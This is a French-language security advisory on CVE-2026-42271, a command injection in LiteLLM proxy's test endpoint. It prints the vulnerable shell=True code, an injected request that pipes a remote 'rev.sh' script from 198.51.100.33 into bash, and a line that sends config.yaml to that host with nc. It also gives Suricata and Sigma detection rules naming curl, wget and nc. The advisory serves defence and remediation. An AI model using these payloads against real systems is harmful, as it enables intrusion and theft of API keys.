Aller au contenu

CVE-2026-42271 : injection de commandes système à distance sans authentification dans les points de test du proxy LiteLLM

HERMES

SCORE DE MENACE HERMES & COMPROMISSION DE LA PASSERELLE D'IA GÉNÉRATIVE

Cible : LiteLLM (Passerelle & Proxy d'IA)
Confiance : 99%
97 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 20 / 20
Activité de menace 19 / 20
Militarisation 20 / 20
Exposition 19 / 20
Prévalence 18 / 20
Impact 20 / 20
Maturité de l'exploit 20 / 20
Potentiel d'attaque en chaîne 20 / 20
⚖️ Divergence & Justification opérationnelle

Le score CVSS v3.1 attribue la note de 9.8 (Critique) et le CVSS v4.0 affiche 9.8. Le score de menace Hermes s'établit à 97 (CRITIQUE). La cohérence est directe : liteLLM joue le rôle de point de routage central et de coffre-fort de clés pour les charges de travail LLM d'entreprise (OpenAI, Anthropic, Bedrock, Vertex AI). L'exécution de code sur le conteneur LiteLLM expose l'ensemble des clés d'API maîtresses et permet l'empoisonnement des flux de requêtes d'IA directement au niveau de la passerelle.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-42271: Unauthenticated Remote OS Command Injection in LiteLLM Proxy Test EndpointsVULNÉRABILITÉ

Nœuds connectés : 3
Relations sortantes actives
→ affectsCOMPOSANTLiteLLM Proxy & MCP Server
98% VERY_HIGH

Enterprise LLM proxy gateway supporting Model Context Protocol (MCP) streamable endpoints and unified LLM APIs.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in LiteLLM Proxy & MCP Server documented in Hermes dossier.”

Preuves vérifiées associées :
→ usesTECHNIQUE D'ATTAQUET1059: Command and Scripting Interpreter
90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Preuves vérifiées associées :
→ usesTECHNIQUE D'ATTAQUET1552: Unsecured Credentials
90% VERY_HIGH

Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1552.”

Preuves vérifiées associées :

1. Contexte technique & matrice des logiciels affectés

Section intitulée « 1. Contexte technique & matrice des logiciels affectés »

LiteLLM simplifie l’architecture des applications d’IA en fournissant une API compatible OpenAI sur l’ensemble des fournisseurs de modèles cloud, assurant la répartition de charge et la gestion centralisée des quotas.

ParamètreSpécification TechniqueContexte de Menace
Identifiant CVECVE-2026-42271Identifiant de vulnérabilité international
Paquet vulnérablelitellm (Paquet PyPI Python)Serveur proxy & SDK LiteLLM
Fichier concernélitellm/proxy/proxy_server.pyGestionnaire de routage des tests
Vecteur réseauHTTP/HTTPS (Port par défaut 4000/TCP)Passerelle de proxy d’IA exposée
Cause racineInjection de métacaractères de shell dans subprocess (CWE-78)Exécution de commandes non authentifiée
Versions affectées1.74.2 à 1.83.6Déploiements proxy en production
Versions corrigées1.83.7Version corrective officielle
Impact d’exploitationRCE root dans le conteneur, fuite des clés d’API de modèlesCompromission de la passerelle d’IA

2. Décomposition technique : injection de commandes dans le module de test

Section intitulée « 2. Décomposition technique : injection de commandes dans le module de test »

Le serveur proxy LiteLLM intègre des fonctions de diagnostic pour tester la connectivité des modèles et évaluer les temps de réponse. Dans les versions vulnérables, les paramètres transmis par le client étaient concaténés sans filtrage :

# Implémentation vulnérable dans litellm/proxy/proxy_server.py
@router.post("/test/run")
async def run_benchmark_test(request: Request):
data = await request.json()
model_identifier = data.get("model", "gpt-4o")
test_runner_args = data.get("runner_args", "")
# VULNÉRABILITÉ : Concaténation de chaîne exécutée avec shell=True
cmd = f"python3 -m litellm.benchmark --model {model_identifier} {test_runner_args}"
proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, stderr = proc.communicate()
return {"status": "complete", "output": stdout.decode()}

Avec l’argument shell=True, le shell système Linux interprète les séparateurs ; ou | et exécute les commandes injectées :

POST /test/run HTTP/1.1
Host: ai-proxy.corp.internal:4000
Content-Type: application/json
{
"model": "gpt-4o; curl -s http://198.51.100.33/rev.sh | bash;",
"runner_args": "--concurrency 1"
}
+----------------------------------------------------------------------------------------------------+
| FLUX D'EXÉCUTION DE L'ATTAQUE CVE-2026-42271 |
+----------------------------------------------------------------------------------------------------+
[Attaquant Distant]
│
│ [1] HTTP POST /test/run (Sans en-tête d'autorisation)
│ Charge : { "model": "gpt-4o; cat /app/config.yaml | nc 198.51.100.33 9001;" }
▼
[Démon Proxy LiteLLM (Port 4000)]
│
├───► 1. Évaluation du Routeur FastApi :
│ - Le point de terminaison /test/run n'impose aucun contrôle d'authentification !
│ - Transmet le dictionnaire JSON à run_benchmark_test()
│
├───► 2. Exécution du Sous-Processus avec shell=True :
│ - Le shell exécute : python3 -m litellm.benchmark --model gpt-4o
│ - Le shell traite le point-virgule comme séparateur
│ - Le shell exécute la commande injectée : cat /app/config.yaml | nc ...
│
▼
[Compromission du Système Hôte / Conteneur]
│
└───► Exfiltration des variables d'environnement de LiteLLM :
- OPENAI_API_KEY, ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY
- Chaînes de connexion PostgreSql / Redis
- Injection de portes dérobées dans les flux de prompts
+----------------------------------------------------------------------------------------------------+

3. Renseignement sur les menaces & exploitation dans la nature

Section intitulée « 3. Renseignement sur les menaces & exploitation dans la nature »
  • Surfaces exposées : des analyses menées sur Shodan et Censys révèlent des milliers d’instances LiteLLM exposées publiquement sur le port par défaut 4000 sans clé maîtresse activée.
  • Motivations des attaquants :
    • Vol de Jetons d’API LLM : revente des crédits OpenAI et Anthropic d’entreprise sur les forums cybercriminels ou utilisation frauduleuse pour des inférences massives.
    • Rebond Cloud : les conteneurs LiteLLM déployés sur AWS ECS ou EKS disposent fréquemment de rôles IAM accessibles via le service de métadonnées (169.254.169.254), facilitant une élévation de privilèges cloud.

TactiqueID TechniqueNom de la TechniqueManifestation dans l’Attaque
Accès initialT1190Exploitation d’application publiqueRequête HTTP POST distante vers le port 4000 exposé
ExécutionT1059.004Interpréteur de commandes et scripts : Shell UnixInjection de commandes OS via subprocess.Popen(shell=True)
Accès aux identifiantsT1552.001Identifiants dans les fichiersVol du fichier /app/config.yaml et des variables d’environnement .env
Élévation de privilègesT1611Évasion vers l’hôteÉvasion de conteneur via sockets Docker exposés

alert http any any -> $LITELLM_SERVERS 4000 (
msg:"HERMES DEFENSE - Tentative d'injection de commande LiteLLM (CVE-2026-42271)";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/test/run";
http.request_body; pcre:"/(\;|\&\&|\||`|\$\().*(curl|wget|bash|sh|nc|python)/i";
classtype:web-application-attack;
sid:202642271;
rev:1;
reference:cve,2026-42271;
)
title: Processus shell créé par le démon proxy LiteLLM
id: 5c4b3a2d-1e0f-9a8b-7c6d-42271c026e02
status: high
description: Détecte l'exécution d'un shell ou de binaires utilitaires issus du processus Python exécutant litellm.
author: Hermes Codex Detection Engineering
date: 2026-09-11
logsource:
product: linux
category: process_creation
detection:
selection_parent:
CommandLine|contains: 'litellm'
selection_child:
Image|endswith:
- '/sh'
- '/bash'
- '/dash'
- '/curl'
- '/nc'
condition: selection_parent and selection_child
falsepositives:
- Scripts de test légitimes spécifiés manuellement dans des environnements d'intégration continue.
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.execution
- attack.t1059.004

6. Réponse à incident & rétro-ingénierie (DFIR)

Section intitulée « 6. Réponse à incident & rétro-ingénierie (DFIR) »
  1. Contrôle des processus dans le conteneur LiteLLM :
    Fenêtre de terminal
    docker exec -it litellm ps aux
    # Rechercher des processus enfants suspects sous python3 -m litellm
  2. Revue des journaux d’accès web :
    Fenêtre de terminal
    grep -E "POST /test/run|POST /model/benchmark" /var/log/litellm/access.log
  3. Audit des variables d’environnement :
    Fenêtre de terminal
    docker exec -it litellm env
    # Vérifier la présence de secrets cloud accessibles au processus
{
"query": {
"bool": {
"must": [
{ "term": { "http.request.method": "POST" } },
{ "term": { "url.path": "/test/run" } },
{ "wildcard": { "http.request.body.content": "*;*" } }
]
}
}
}

  1. Mise à niveau immédiate de LiteLLM : mettre à jour vers la version 1.83.7 ou ultérieure :
    Fenêtre de terminal
    pip install --upgrade litellm>=1.83.7
  2. Exiger une clé d’accès maître : définir la variable d’environnement LITELLM_MASTER_KEY pour interdire toute requête non authentifiée.
  3. Désactiver les routes de diagnostic : en production, bloquer les fonctionnalités de test en renseignant DISABLE_TEST_ENDPOINTS=True.
  4. Renouvellement des clés d’API d’IA : si un serveur a été exposé sans filtrage, révoquer et renouveler immédiatement toutes les clés OpenAI, Anthropic, Google Vertex AI et AWS.